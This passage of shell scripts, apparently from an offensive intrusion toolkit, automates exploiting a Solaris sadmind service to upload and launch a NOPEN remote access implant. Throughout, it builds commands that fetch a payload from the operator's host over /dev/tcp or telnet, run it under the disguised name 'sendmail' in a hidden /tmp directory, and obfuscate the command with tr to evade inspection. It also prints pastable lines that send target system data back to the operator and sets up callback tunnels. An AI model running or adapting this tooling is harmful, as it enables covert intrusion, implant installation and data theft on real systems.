LOCAL_PORT=`mkrandom -n 2>/dev/null`
[ ! "$LOCAL_PORT" ] && usage exit "mkrandom not in path--needed to generate random rat upload port"
ALREADYTHERE=`netstat -an | grep tcp.*LIST | grep ":$LOCAL_PORT "`
note "Using a random port ($LOCAL_PORT) for local RAT upload listener (packrat)"
PACKRAT_SCRIPME=yes
[ "$ALREADYTHERE" ] || break
done
fi
fi
for pid in `pidof nc` ; do
UULISTEN=`ls -al /proc/$pid/fd | grep \.uu`
if [ "$UULISTEN" -a ! "$OLDCMD" ] ; then
usage exit "NOT GOOD: Your netcat LISTEN seems to be sending a .uu file--DO NOT (see usage):
# ls -al /proc/$pid/fd | grep \.uu\n$UULISTEN"
fi
done
fi # if ! $CMDOVERRIDE -o $RETRYONLY == 1
if [ ! "$LOCAL_IP" ] ; then
if [ ! "`which grepip 2>/dev/null`" ] ; then
notered "\aMust have \"grepip\" in path or provide -l IP on command line"
exit
fi
for INT in ppp0 ppp1 eth0 eth1 ; do
ADDR=`ifconfig $INT 2>/dev/null | grepip | egrep -v "255|127\.0" | head -1`
[ "$ADDR" ] && LOCAL_IP=$ADDR
[ "$LOCAL_IP" ] && break
done
while [ ! "$LOCAL_IP" ] ; do
echo -en "What is your local/redirector IP address? "
[ "$LOCAL_IP" ] && echo -en "[$LOCAL_IP] "
read ans
[ "$ans" -a "${ans:0:1}" != "y" -a "${ans:0:1}" != "Y" ] && \
LOCAL_IP=$ans
LOCAL_IP=`echo $LOCAL_IP | grepip`
[ "$LOCAL_IP" ] || echo -e "\n\n\a$ans is not a valid IP. Try again.\n\n"
done
INT=" ($INT)"
note "Using $LOCAL_IP$INT for -l local IP argument"
fi
[ "$REMOTE_HOST" ] || usage exit "Error: missing remote host argument"
# Check for required args
[ -z "$REMOTE_IP" ] && usage exit "Error: missing remote IP (-i)"
[ -z "$REMOTE_HOST" ] && usage exit "Error: missing remote hostname"
[ -z "$SADMIND_ARG" ] && usage exit "Error: missing sadmindPort (-u)"
if [ ! "$CMDOVERRIDE" ] ; then
[ -z "$REMOTE_DIR" ] && usage exit "Error: missing remote directory (-D)"
[ "${REMOTE_DIR:0:1}" = "/" ] ||
usage exit "\a\nREMOTEDIR ($REMOTE_DIR) must start with \"/\". Check # of args and order."
[ -z "$REMOTE_FNAME" ] && usage exit "Error: missing remote filename (-r)"
[ -z "$LOCAL_IP" ] && usage exit "Error: missing local IP (-l)"
if [ $RETRYONLY == 0 ] ; then
[ -z "$LOCAL_PORT" ] && usage exit "Error: missing local port (-n)"
fi
fi
if [ "${REMOTE_IP:0:3}" = "127" ] ; then
REDIRECT=yes
ifconfig -a | grep $LOCAL_IP > /dev/null && NOTGOOD=yes
if [ "$NOTGOOD" ] ; then
$SETCOLOR_FAILURE
echo -e "ARE YOU SURE? It looks like you are redirecting (due to remote being $REMOTE_IP),
and yet you want the RAT callback to go to $LOCAL_IP, WHICH\a IS ONE OF YOUR LOCAL IPs???"
sleep 1
echo -en "\nHit ^C to abort or enter to continue DESPITE THIS PROBLEM!!\a"
$SETCOLOR_NORMAL
read blah
fi
if [ "$TARGETIP" ] ; then
DEFTARGET=$TARGETIP
else
DEFTARGET=`head /current/etc/opscript.txt 2>/dev/null | grepip 2>/dev/null | head -1`
fi
[ ! "$ACTUALTARGET" ] && [ "$DEFTARGET" ] && [ "$TARGETIP" ] && ACTUALTARGET=$DEFTARGET
until [ `echo $ACTUALTARGET | grepip 2>/dev/null` ] ; do
[ "$ACTUALTARGET" ] && echo Bad IP $ACTUALTARGET
echo -en "\nEnter Target IP after redirecting through $LOCAL_IP: "
[ "$DEFTARGET" ] && echo -en "[$DEFTARGET] "
read ACTUALTARGET
[ ! "$ACTUALTARGET" ] && [ "$DEFTARGET" ] && ACTUALTARGET=$DEFTARGET
done
note Redirecting via 127.0.0.1/$LOCAL_IP to $ACTUALTARGET
if [ "$TARGETIP" ] ; then
# This is set by autoattack which means domainname may still be needed
echo -en "\nEnter domainname to use if any: "
read D
[ "$D" ] && REMOTE_DOMAIN="-d ${D}"
else
while [ 1 ] ; do
OKTUNNEL=`netstat -an | egrep "^udp.*0 (0.0.0.0|127.0.0.1):$TUNNELPORT "`
if [ ! "$OKTUNNEL" ] ; then
notered "You must start a -tunnel in a NOPEN window on udp/$TUNNELPORT:\n"
note "\n-tunnel $TUNNELPORT udp\n\n"
notered -n "Hit return once the -tunnel is up"
read input
fi
[ "$OKTUNNEL" ] && break
done
fi
fi
if [ "$PACKRAT_SCRIPME" ] ; then
[ "$OLDCMD" ] || UUARG="-u"
EXPLOIT_SCRIPME="packrat$PACKARGS $UUARG $REMOTE_FNAME $NOSERVER $LOCAL_PORT"
note "Starting local packrat LISTENer to send noserver via port $LOCAL_PORT"
export EXPLOIT_SCRIPME
echo EXPLOIT_SCRIPME=\"$EXPLOIT_SCRIPME\" scripme -t PACKRAT -F -X \"-bg slategrey -fg white -geometry 131x55-0+0\"
EXPLOIT_SCRIPME="$EXPLOIT_SCRIPME" scripme -t PACKRAT -F -X "-bg slategrey -fg white -geometry 131x55-0+0"
fi
if [ "$CALLBACK" -a ! "$CALLBACKIP" ] ; then
CALLBACKIP="$LOCAL_IP"
else
if [ "$CALLBACK" -a ! "$LOCAL_IP" = "$CALLBACKIP" ] ; then
note "-C argument given for callback--overriding -l local IP from command line: $LOCAL_IP"
fi
fi
if [ "$CALLBACK" ] ; then
RAT_PREARGS=" S=$CALLBACKDELAY D=\"-uc${CALLBACKIP}:${NOPENPORT}\""
if [ "$REDIRECT" ] ; then
notered "\aYou must establish a NOPEN listener on $CALLBACKIP:$NOPENPORT\n\n"
PASTABLE=`grep -v "^#" /current/down/didthis 2>/dev/null | grep "noclient.*$CALLBACKIP"`
[ "$PASTABLE" ] && PASTABLE="\ncd /current/down\n${PASTABLE}"
ifconfig -a | grep $CALLBACKIP && ITSLOCAL=yes
if [ "$ITSLOCAL" ] ; then
echo "remote nopen window on $CALLBACKIP AND local listener:"
note "\ncd /current/down/\n${PASTABLE}\n/current/bin/noclient -l $NOPENPORT\n\n"
else
echo "remote nopen window on $CALLBACKIP:"
note "${PASTABLE}\n\n-nrtun $NOPENPORT\n\n"
# PASTABLE=`grep -v "^#" /current/down/didthis 2>/dev/null | grep "noclient.*$CALLBACKIP" | sed "s/noclient/noclient -c \"-nrtun $NOPENPORT\"/"`
# EXPLOIT_SCRIPME="${PASTABLE}" scripme -t NOCLIENT -F -X " -geometry 131x55"
fi
notered -n "Hit ^C to abort or enter once NOPEN callback window is ready"
read blah
else # not redirecting
POSTRUN="noclient -l $NOPENPORT"
fi
else # not callback
RAT_PREARGS=" D=\"-ul${NOPENPORT}\""
if [ "$REDIRECT" ] ; then
POSTRUN2="-nstun $ACTUALTARGET ${NOPENPORT}"
else
POSTRUN2="noclient ${REMOTE_IP}:${NOPENPORT}"
fi
fi
if [ ! "$CMDOVERRIDE" ] ; then
if [ ! "$NOZIP" ] ; then
UNCOMPRESS="&& uncompress -f ${REMOTE_FNAME}.Z"
[ "$OLDCMD" ] || UNCOMPRESS=".Z&&uncompress -f ${REMOTE_FNAME}.Z"
fi
# this one has more spaces...don't use unless other fails...
CMD="mkdir -p ${REMOTE_DIR} && cd ${REMOTE_DIR} && telnet ${LOCAL_IP} ${LOCAL_PORT} < /dev/console | uudecode > /dev/null 2>&1${UNCOMPRESS}&& chmod 755 ${REMOTE_FNAME} && PATH=.${RAT_PREARGS} ${DOTSLASH}${REMOTE_FNAME}${RAT_POSTARGS}"
CMD="mkdir -p ${REMOTE_DIR}&&cd ${REMOTE_DIR}&&/bin/ksh -c \"/bin/cat < /dev/tcp/${LOCAL_IP}/${LOCAL_PORT} > ${REMOTE_FNAME}${UNCOMPRESS}&&chmod 755 ${REMOTE_FNAME}&&PATH=.${RAT_PREARGS} ${DOTSLASH}${REMOTE_FNAME}${RAT_POSTARGS}\""
if [ "$OLDCMD" ] ; then
CMD="mkdir -p ${REMOTE_DIR}&&cd ${REMOTE_DIR}&&telnet ${LOCAL_IP} ${LOCAL_PORT}</dev/console|uudecode>/dev/null 2>&1 ${UNCOMPRESS}&&PATH=.${RAT_PREARGS} ${DOTSLASH}${REMOTE_FNAME}${RAT_POSTARGS}"
fi
if [ $RETRYONLY == 1 ] ; then
CMD="cd /tmp;cd ${REMOTE_DIR};PATH=.${RAT_PREARGS} ${DOTSLASH}${REMOTE_FNAME}${RAT_POSTARGS}"
fi
else
CMD=""
$SETCOLOR_NOTE
[ ! "$REMOTE_DIR" = "/tmp" ] && TMP=" rm -rf ${REMOTE_DIR} ; ls -arlt /tmp ;"
[ ! "$TMP" ] && TMP=" rm -rf ${REMOTE_DIR}/$REMOTE_FNAME ;"
echo -e "You may want to start something like this locally (YOU do this netcat--it is not automatic):\n"
notered "LOCALLY:"
echo -e " nc -l -p 443"
echo ""
notered "Some pastable examples for the REMOTE end (pick one, or mix and match--up to you):"
echo -e " ksh -c \"( w ; uname -a ) > /dev/tcp/$LOCAL_IP/443\""
echo -e " ( w ; uname -a ) | telnet $LOCAL_IP 443"
echo -e " ksh -c \"($TMP ls -alrt ${REMOTE_DIR} ) > /dev/tcp/$LOCAL_IP/443\""
echo -e " ($TMP ls -alrt ${REMOTE_DIR} ) | telnet $LOCAL_IP 443"
echo -e " ($TMP ls -alrt ${REMOTE_DIR} ) | telnet $LOCAL_IP `mkrandom -n 2>/dev/null`"
echo ""
while [ ! "$CMD" ] ; do
notered "Enter Commands to run on target (see above examples), separated by \";\".\n"
read CMD
done
note "\nCommands being run: $CMD\n"
fi # if $CMDOVERRIDE
# this is unused for now--old bs.tn.gr way
OLDOLDCMD="echo \"
PATH=/usr/openwin/bin:/usr/bin:/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/gnu/bin:/usr/ucb:/usr/X11R6/bin
export PATH
mkdir -p ${REMOTE_DIR}
cd ${REMOTE_DIR}
(echo 'open ${LOCAL_IP} ${LOCAL_PORT}';/bin/cat)| /bin/telnet | /bin/cat| /usr/bin/uudecode > /dev/null 2>&1
uncompress -f ${REMOTE_FNAME}.Z
chmod 0700 ${REMOTE_DIR}/${REMOTE_FNAME}
PATH=${REMOTE_DIR}${RAT_PREARGS} ${DOTSLASH}${REMOTE_FNAME}${RAT_POSTARGS}
rm ${SCRIPT}
\" > ${SCRIPT}
/bin/sh ${SCRIPT}"
if [ ! "$NO_TR" ] ; then
# tr sets
#SET1="'0-}'"
#SET2="'1-~'"
ALPHA="ABCDEFGHIJKLMNOPQRSTUVWXYZ./abcdefghijklmnopqrstuvwxyz0123456789 <&"
THERE=`which permute 2>/dev/null`
if [ ! "$THERE" ] ; then
if [ -x "../bin/permute" ] ; then
export PATH=../bin:$PATH
else
usage exit "FATAL ERROR: No \"permute\" in path."
fi
fi
SET1=`permute "$ALPHA"`
SET2=`permute "$SET1"`
MUNGED="`echo "${CMD}" | tr "${SET1}" "${SET2}"`"
UNMUNGED="`echo \"${MUNGED}\" | tr "${SET2}" "${SET1}"`"
echo "
munging via:
tr \"$SET1\" \"$SET2\"
and vice versa.
MUNGED=\"$MUNGED\"
UNMUNGED=\"$UNMUNGED\"
"
if [ "$SET1" = "$SET2" ] ; then
echo "SET1=\"$SET1\""
usage exit "FATAL ERROR. SET1 is the same as SET2."
fi
if [ ! "$UNMUNGED" = "$CMD" ] ; then
echo "$UNMUNGED" > /tmp/UNMUNGED.$$
echo "$CMD" > /tmp/CMD.$$
cmp /tmp/UNMUNGED.$$ /tmp/CMD.$$
wc /tmp/UNMUNGED.$$ /tmp/CMD.$$
usage "FATAL ERROR. UNMUNGE TEST FAILED"
else
echo -e "PASSSED TEST: \$CMD eq \$UNMUNGED.\n"
fi
$SETCOLOR_NOTE
echo -e "Running:\n
bs -i ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_ARG} \
-c \"echo '${MUNGED}'|tr '${SET2}' '${SET1}'|sh\"\n"
else
notered "\a\nNOT MUNGING--CMD going over in the clear.\n\n"
echo -e "Running:\n
bs -i ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_ARG} \
-c \"$CMD\"\n"
fi
if [ "$POSTRUN" ] ; then
echo -e "AND THEN the following will start automatically:\n\n$POSTRUN$COLOR_NORMAL\n"
fi
notered "Hit ^C to abort or enter to continue"
read blah
if [ "$REDIRECT" ] ; then
note "Sending tunnel commands to 127.0.0.1:$TUNNELPORT"
if [ $ATTEMPT -eq 1 ] ; then
# tunnelcmd c 1 2
tunnelcmd u $SADMIND_PORT $ACTUALTARGET
else
tunnelcmd c 2
fi
[ $RETRYONLY == 0 ] && tunnelcmd r $LOCAL_PORT
tunnelcmd s
fi
while [ 1 ] ; do
# Now check what we can before continuing
echo ""
while [ 1 ] ; do
if [ "$CALLBACK" ] ; then
if [ "$REDIRECT" ] ; then
OKNRTUN=`netstat -an | grep "^tcp.*:$NOPENPORT " | egrep "ESTAB|LISTEN"`
else
OKNRTUN=okeydokey
fi
else
OKNRTUN=okeydokey
fi
[ "$REDIRECT" ] || OKUDP=okeydokey
[ "$REDIRECT" ] && OKUDP=`netstat -an | egrep "^udp.*0 (0.0.0.0|127.0.0.1):$SADMIND_PORT "`
OKPACKRAT=`netstat -an | egrep "^tcp.*(0.0.0.0|127.0.0.1):$LOCAL_PORT .*LISTEN"`
[ "$CMDOVERRIDE" -o $RETRYONLY == 1 ] && OKPACKRAT=nevermind
[ "$OKUDP" ] || notered "No udp/$SADMIND_PORT seen locally in netstat"
if [ ! "$OKNRTUN" ] ; then
notered "No -nrtun or noclient -l for callback seen locally on port $NOPENPORT in netstat"
note "${PASTABLE}\n\n-nrtun $NOPENPORT\n\n"
fi
if [ ! "$OKPACKRAT" ] ; then
if [ "$OKUDP" -a "$OKNRTUN" ] ; then
notered "waiting for packrat to start on port $LOCAL_PORT"
else
notered "No packrat seen locally on port $LOCAL_PORT in netstat"
fi
fi
[ "$OKUDP" ] && [ "$OKNRTUN" ] && [ "$OKPACKRAT" ] && break
[ "$OKUDP" ] && [ "$OKNRTUN" ] && sleep 2 && continue
unset OKUDP OKNRTUN OKPACKRAT
notered "\a\n\nCANNOT PROCEED"
notered "\a\n\nFix this and either ^C or hit Enter to try again."
read blah
done
rm -f /tmp/bsoutput.$$
if [ ! "$NO_TR" ] ; then
note "\n\nrunning this locally (using tr remotely):\n\nbs -i ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_ARG} \
-c \"echo '${MUNGED}' | tr '${SET2}' '${SET1}'|sh\" 2>&1 | tee /tmp/bsoutput.$$\n\n"
bs -i ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_ARG} \
-c "echo '${MUNGED}' | tr '${SET2}' '${SET1}'|sh" 2>&1 | tee /tmp/bsoutput.$$
else
note "\n\nrunning this locally:\n\nbs -i ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_ARG} \
-c \"$CMD\" 2>&1 | tee /tmp/bsoutput.$$\n\n"
bs -i ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_ARG} \
-c "$CMD" 2>&1 | tee /tmp/bsoutput.$$
fi
HOSTERR=`grep "Security exception on host" /tmp/bsoutput.$$ | sed "s/.*Security exception on host //" | sed "s/. USER ACCESS DENIED.*//"`
rm -f /tmp/bsoutput.$$
[ "$HOSTERR" ] || break
$SETCOLOR_FAILURE
echo -e "\n\nERROR OUTPUT FROM bs!!\n\n"
if [ "-h $HOSTERR" = "$REMOTE_HOST" ] ; then
echo -e "ERROR! Correct host but need different domain (\"$REMOTE_DOMAIN\" failed)."
$SETCOLOR_NORMAL
echo -en "Enter new domain or ^C to abort (hit enter to try no domain at all): "
read ans
REMOTE_DOMAIN=""
[ "$ans" ] && REMOTE_DOMAIN="-d ${ans}"
echo -e "\n\nTrying domain \"$REMOTE_DOMAIN\"\n\n"
else
echo -e "ERROR! Wrong host. They suggest \"$HOSTERR\", so try that."
$SETCOLOR_NORMAL
echo -en "Enter new host or ^C to abort: [$HOSTERR] "
read ans
[ "$ans" ] || ans="$HOSTERR"
REMOTE_HOST="-h ${ans}"
echo -e "\n\nTrying host \"$REMOTE_HOST\"\n\n"
fi
done
if [ "$POSTRUN" ] ; then
notered "\n\n\aNOTE: Callback will not occur for $CALLBACKDELAY seconds or more"
notered " and MAYBE NOT until upload completes AND you ^C the netcat upload.\n\n"
notered "\nNow running nopen listener with: $POSTRUN\n"
exec $POSTRUN
fi
if [ "$POSTRUN2" ] ; then
note "\nOnce you see all is done, you may want to proceed with:\n\n$POSTRUN2\n\n"
[ $RETRYONLY == 0 ] && notered NOTE: Listener may not be active until you ^C the netcat upload.
fi
} # end doit procedure
# This calls usage if empty args or just -h or -v
[ "${*}" = "-v" -o "${*}" = "-h" -o "${*}" = "" ] && doit ${*}
ATTEMPT=1
while [ 1 ] ; do
# This is called by autoattack so allow changes
if [ "$ARGS" ] ; then
notered "Last attempt used these arguments:\n$COLOR_NORMAL\n${ARGS}\n"
OPTIND=1
else
if [ "$TARGETIP" ] ; then
echo -e "$usagetextshort"
notered "Automatic mode has pre-set these arguments:\n$COLOR_NORMAL\n${*}\n"
fi
ARGS="${*}"
fi
if [ $ATTEMPT -gt 1 -o "$TARGETIP" ] ; then
notered "\n\nJust hit return to keep these arguments, or input a new and complete argument\nstring to use instead:\n"
read ans
if [ "$ans" ] ; then
ARGS="$ans"
note Changing arguments to: $ARGS
else
note NOT changing arguments
fi
fi
doit $ARGS
note "\n\n$PROG attempt number $ATTEMPT is complete."
if [ "$CALLBACK" ] ; then
$SETCOLOR_FAILURE
echo -e "\nNOTE: Callback will not happen until $CALLBACKDELAY seconds or more have passed.\n"
while [ $CALLBACKDELAY -ge 0 ] ; do
echo -en "\rCounting down: $CALLBACKDELAY "
CALLBACKDELAY=`expr $CALLBACKDELAY - 1`
sleep 1
done
fi
notered "\n\nIf this is your last sploit, you can close down the -tunnel
currently listening on $TUNNELPORT with this at any local prompt:
$COLOR_NORMAL
/current/bin/closetunnel\n\n"
note "\nIf it worked, hit return to exit.\n"
notered -n "Do you want to try again? [N] "
read ans
[ ! "$ans" -o "${ans:0:1}" = "n" -o "${ans:0:1}" = "N" ] && break
# echo -e "$usagetext"
notered "\nIf \"ksh\" method might have failed, add the -t argument to try the old telnet way."
notered "If \"tr\" method might have failed, add the -T argument to disable munging."
notered "If still failing after trying -t, -T and -tT, try bs.tn.gr_USE_WHEN_bs.auto_FAILS."
note "\nIf desired, use the -C command to override what commands are executed on target."
note "\nYour previous arguments were:"
echo "$ARGS"
notered "\n\nJust hit return to try the same arguments again, or input a new and complete argument\nstring to use (e.g., add -T if you think \"tr\" failed)."
read ans
if [ "$ans" ] ; then
ARGS="${ans}"
fi
ATTEMPT=`expr $ATTEMPT + 1`
done
# disabled this for now 20030603
#if [ "$REDIRECT" ] ; then
# note "Closing down -tunnel ports"
# tunnelcmd c 1 2
# tunnelcmd q
#fi
ps -efwwww | grep PACKRAT | grep -v grep && \
notered "\n\nYou need to close packrat window before this one can exit.\n\n"

692
Linux/bin/bs.auto.old Executable file
View file

@ -0,0 +1,692 @@
#!/bin/sh
# Defaults
PROG=`basename ${0}`
VER="2.8"
ERRSLEEP=0
[ "$TUNNELPORT" ] || TUNNELPORT=`cat /current/bin/.tunnelport`
[ "$TUNNELPORT" ] || TUNNELPORT=18787
COLOR_SUCCESS="\\033[1;32m"
COLOR_FAILURE="\\033[1;31m"
COLOR_WARNING="\\033[1;33m"
COLOR_NORMAL="\\033[0;39m"
COLOR_NOTE="\\033[0;34m"
COLOR_WHITE="\\033[4;97m"
SETCOLOR_SUCCESS="echo -en $COLOR_SUCCESS"
SETCOLOR_FAILURE="echo -en $COLOR_FAILURE"
SETCOLOR_WARNING="echo -en $COLOR_WARNING"
SETCOLOR_NORMAL="echo -en $COLOR_NORMAL"
SETCOLOR_NOTE="echo -en $COLOR_NOTE"
SETCOLOR_WHITE="echo -en $COLOR_WHITE"
# usagetext here so this can be used globally
DEFCALLBACKDELAY=15
SYNTAX=" [E=ratpreargs] [A=ratpostargs] \\
$PROG [options] remoteHost [remoteDomain]
"
usagetext="
Usage:
$SYNTAX
$PROG uploads and runs NOPEN via ./bs.
REQUIRED OPTIONS - Usual upload/execute mode
-i IP Target IP (or 127.0.0.1 if redirecting)
-u # Target's udp sadmind (prog 100232) port
TROUBLESHOOT OPTION
-R Run specific commands on target, not the usual (you are
prompted for the command string to send). OTHER OPTIONS below
are ignored when using -R.
OTHER OPTIONS - [default in brackets if any]
-n # Local tcp port for netcat upload [random]
-l IP Local IP for netcat upload [the first active IP in this order:
ppp0, ppp1, eth0 or eth1]
-r name Name to call uploaded file on target [sendmail]
-D dir Working directory to create/use on target [/tmp/.scsi]
-p # NOPEN port for either listen or callback mode [random]
-c Use NOPEN in callback mode to local IP (also see -S)
-C IP Use NOPEN in callback mode to this IP instead of local IP
-s # Change delay used for -c|C to # seconds [$CALLBACKDELAY]
-t Use the OLDCMD/telnet/uudecode method instead of the default
CMD/ksh.$COLOR_FAILURE NOTE: This DOES require uudecode.$COLOR_NORMAL
-T Do NOT use tr at all (can be used with or without -t)
-z Do NOT use uncomrpess at the far end (so you should not use
compress here)
-P Assume PATH=. will fail so use ./ratname
-S name Script file to write and remove when using -t (OLDCMD) method
In the usual upload/execute mode, unless the -T option is used, $PROG
uses the remote system's tr program (see \"man tr\") to unmunge the
string sent via bs into the commands we want him to execute. See dtail
below. $PROG will build and show the munged and unmunged strings,
prompting to abort or continue before any packets are sent.
NOTE: The environment variables E and A are still usable as:
E=ratpreargs A=ratpostargs
BUT, they are no longer necessary for NOPEN ports and callbacks.
ratpreargs : a string put on remote command line right after
PATH=. and before remoteName (NOTE: If using -l/c
options above this is no longer necessary.)
ratpostargs : a string put on remote command line after running
remoteName (e.g., \" ; rm sendmail\")
Command sent to bs will be munged (unless -T is used) from one of:
OLDCMD=\"cd /tmp;mkdir -p \${REMOTE_DIR} && cd \${REMOTE_DIR};telnet \${LOCAL_IP} \${LOCAL_PORT} < /dev/console | uudecode > /dev/null 2>&1 && uncompress -f \${REMOTE_FNAME}.Z && chmod 755 \${REMOTE_FNAME} && PATH=.\${RAT_PREARGS} \${DOTSLASH}\${REMOTE_FNAME}\${RAT_POSTARGS}\"
CMD=\"cd /tmp;mkdir -p \${REMOTE_DIR} && cd \${REMOTE_DIR};/bin/ksh -c \"cat < /dev/tcp/\${LOCAL_IP}/\${LOCAL_PORT} > \${REMOTE_FNAME}.Z && uncompress -f \${REMOTE_FNAME}.Z && chmod 755 \${REMOTE_FNAME} && PATH=.\${RAT_PREARGS} \${DOTSLASH}\${REMOTE_FNAME}\${RAT_POSTARGS}\"\"
OR if -T is used, one of these will be used but will not be munged.
"
note() {
unset N
if [ "$1" = "-n" ] ; then
N=$1
shift
fi
echo -e $N "$COLOR_NOTE${*}$COLOR_NORMAL"
}
notered() {
unset N
if [ "$1" = "-n" ] ; then
N=$1
shift
fi
echo -e $N "$COLOR_FAILURE${*}$COLOR_NORMAL"
}
tunnelcmd() {
echo "${*}" | nc -w1 -u 127.0.0.1 $TUNNELPORT
}
usage() {
[ "$1" = "exit" ] && EXIT=1 && shift
if [ "$1" = "-h" ] ; then
shift
[ "$ERRSTR" ] || ERRSTR="\nNOTE: \a THE NEW WAY REQUIRES NO UU*CODE NOR ANY E=\"ratpreargs\"!!!!"
echo -e "$usagetext"
fi
if [ "$1" = "-v" ] ; then
echo "$PROG version $VER"
shift
fi
ERRSTR="${*}"
if [ "$ERRSTR" ] ; then
notered "\a${ERRSTR}"
fi
[ "$EXIT" ] && exit
} # end usage
doit() {
#echo DBG
#set
#echo DBG
CMDLINE="\nCommandLine: ${0} ${*}"
CALLBACKDELAY=$DEFCALLBACKDELAY
# lab testing?
ifconfig 2>&1 | grep "135.1\.2\." > /dev/null && CALLBACKDELAY=4
unset NOPENPORT CALLBACKIP CALLBACK OLDCMD NO_TR NOZIP PACKARGS DOTSLASH CMDOVERRIDE SCRIPT
unset UNCOMPRESS REDIRECT UUARG REMOTE_DOMAIN
while getopts p:cl:ths:zPvRu:s:Ti:n:r:D:P:a:S:C:R op; do
case $op in
h) usage exit -h ;;
v) usage exit -v ;;
i) REMOTE_IP="${OPTARG}" ;;
n) LOCAL_PORT="$OPTARG" ;;
l) LOCAL_IP="$OPTARG";;
r) REMOTE_FNAME="$OPTARG" ;;
D) REMOTE_DIR="$OPTARG" ;;
p) NOPENPORT="$OPTARG";;
a) [ "$ARCH" ] || ARCH="$OPTARG";;
u) SADMIND_PORT="$OPTARG"
SADMIND_ARG="-p $OPTARG" ;;
E) RAT_PREARGS=" $OPTARG";;
A) RAT_POSTARGS=" $OPTARG";;
C) CALLBACKIP="$OPTARG";;
c) CALLBACK=" callback";;
t) OLDCMD="yes";;
T) NO_TR="yes";;
s) CALLBACKDELAY="$OPTARG";;
z) NOZIP=yes
PACKARGS=" -z" ;;
P) DOTSLASH="./";;
R) CMDOVERRIDE=yes ;;
S) SCRIPT="$OPTARG" ;;
esac
done
shift `expr $OPTIND - 1`
[ "$#" -eq 0 -a ! "$REMOTE_IP" ] && usage exit -h
[ "$1" ] && REMOTE_HOST="-h ${1}"
[ "$2" ] && REMOTE_DOMAIN="-d ${2}"
# fixed defaults here (random ports and such elsewhere)
[ "$SCRIPT" ] || SCRIPT="...."
[ "$REMOTE_FNAME" ] || REMOTE_FNAME=sendmail
[ "$REMOTE_DIR" ] || REMOTE_DIR=/tmp/.scsi
if [ ! "$CMDOVERRIDE" ] ; then
if [ ! "$NOPENPORT" ] ; then
NOPENPORT=`mkrandom -n 2>/dev/null`
fi
if [ ! "$NOPENPORT" ] ; then
usage "mkrandom not in path--needed to generate random port for NOPEN\n(use -p # to force a particular port)"
return
fi
fi
[ "$E" ] && RAT_PREARGS=" $RAT_PREARGS $E" && echo "RAT_PREARGS=\"$RAT_PREARGS\""
[ "$A" ] && RAT_POSTARGS=" $RAT_POSTARGS $A" && echo "RAT_POSTARGS=\"$RAT_POSTARGS\""
echo ""
[ "$HOSTERR" ] && REMOTE_HOST="-h ${HOSTERR}"
# [ "$#" -lt 6 ] && usage exit -h -v "Too few arguments"
# if [ "${4:0:1}" = "/" ] ; then
# SADMIND_PORT="${3}"
# SADMIND_ARG="-p ${3}"
# REMOTE_DIR="${4}"
# REMOTE_FNAME="${5}"
# LOCAL_IP="${6}"
# LOCAL_PORT="${7}"
# elif [ "${5:0:1}" = "/" ] ; then
# REMOTE_DOMAIN="-d ${3}"
# SADMIND_PORT="${4}"
# SADMIND_ARG="-p ${4}"
# REMOTE_DIR="${5}"
# REMOTE_FNAME="${6}"
# LOCAL_IP="${7}"
# LOCAL_PORT="${8}"
# else
# usage "\a\nREMOTEDIR ($4 or $5) must start with \"/\". Check # of args and order."
# fi
# show what we were called with
echo -e "$CMDLINE"
# Check to make sure tcp LISTEN is there
PORTS=`netstat -an | grep tcp.*LIST | cut -f 2 -d ":" | sort -rn | awk '{print $1}' |egrep -v "6000"`
if [ "$NOPENPORT" ] ; then
note "Using random NOPEN$CALLBACK port $NOPENPORT"
fi
note Local ports LISTENing: $PORTS
echo
which packrat >/dev/null 2>&1
NOPACKRAT=$?
if [ ! "$CMDOVERRIDE" ] ; then
if [ "$TARGETIP" ] ; then
# autoattack mode so yes we want packrat
PACKRAT_SCRIPME=yes
else
if [ "$LOCAL_PORT" ] ; then
for i in $PORTS -1 ; do
[ "$i" = "$LOCAL_PORT" ] && break
done
if [ $i -lt 0 ] ; then
if [ -e $NOSERVER -a "$NOPACKRAT" = "0" ] ; then
echo -ne "The file /current/up/noserver exists, and you have no LISTENer on port ${LOCAL_PORT}.
Do you want me to start a packrat listener on $LOCAL_PORT in another window for you? [Y] "
read ans
[ ! "$ans" -o "${ans:0:1}" = "y" -o "${ans:0:1}" = "Y" ] && \
PACKRAT_SCRIPME=yes
else
[ "$NOPACKRAT" = "0" ] || notered "No packrat in your path"
notered "YOU MUST have a local LISTEN port on $LOCAL_PORT, and YOU DO NOT have /current/up/noserver\n\ato start one automatically"
sleep 3
notered "\a\nProceeding, assuming YOU WILL EITHER ABORT OR START LISTENER before continuing\npast next prompt."
fi
else
notered "\aLocalPort=$LOCAL_PORT provided on command line already LISTENing. Assuming that is the upload."
sleep 2
fi
else
unset ans
# for i in $PORTS -1 ; do
# [ $i -lt 0 ] && break
# echo -n "Is $i your localPort for RAT upload (Yes, No, Run a new/fresh one for me)? [R] "
# read ans
# [ "$ans" ] || break
# [ "$ans" = "R" -o "$ans" = "r" ] && i=-1 && break
# [ "${ans:0:1}" = "y" -o "${ans:0:1}" = "Y" ] && break
# done
# [ "$ans" = "" ] && i=-1
# [ $i -lt 0 ] || LOCAL_PORT=$i
# if [ ! "$LOCAL_PORT" ] ; then
while [ 1 ] ; do
LOCAL_PORT=`mkrandom -n 2>/dev/null`
[ ! "$LOCAL_PORT" ] && usage "mkrandom not in path--needed to generate random rat upload port"
ALREADYTHERE=`netstat -an | grep tcp.*LIST | grep ":$LOCAL_PORT "`
note "Using a random port ($LOCAL_PORT) for local RAT upload listener (packrat)"
if [ -e /current/up/noserver ] ; then
if [ "$NOPACKRAT" = "0" ] ; then
PACKRAT_SCRIPME=yes
else
usage exit "No packrat in your path$COLOR_NORMAL"
fi
else
notered Put correct noserver into /current/up/noserver and hit return
read ans
continue
fi
[ "$ALREADYTHERE" ] || break
done
# fi
fi
fi
for pid in `pidof nc` ; do
UULISTEN=`ls -al /proc/$pid/fd | grep \.uu`
if [ "$UULISTEN" -a ! "$OLDCMD" ] ; then
usage exit "NOT GOOD: Your netcat LISTEN seems to be sending a .uu file--DO NOT (see usage):
